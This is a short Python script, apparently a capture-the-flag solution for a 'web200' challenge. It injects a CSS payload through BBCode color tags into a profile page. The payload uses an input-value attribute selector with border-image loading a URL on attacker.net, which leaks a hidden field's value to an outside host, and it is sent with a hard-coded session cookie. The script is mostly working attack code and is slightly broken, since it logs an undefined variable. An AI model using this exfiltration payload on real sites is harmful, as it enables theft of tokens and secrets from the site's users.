h4ck1t

web200.py

from pwn import *
from requests import *
import string
import sys
import time

def edit(s, cookie, bla):
        s.post("http://tasks.ctf.com.ua:13373/edit.php", cookies=cookie, data={"about": bla})

s = Session()

cookie = {"PHPSESSID": "85gdkck3eegdmu215o02ac8rq0"}
bla = '''[color="test;} input[value^="'''+sys.argv[1]+'''" i]{border-image: url('http://attacker.net/?a='''+ sys.argv[1]+'''"]a[/color]'''
log.info("Sending [%s, %s]" % (i, bla))
edit(s, cookie, bla)
edit(s, cookie, bla)

r = s.get("http://tasks.ctf.com.ua:13373/profile.php", cookies=cookie)

print r.text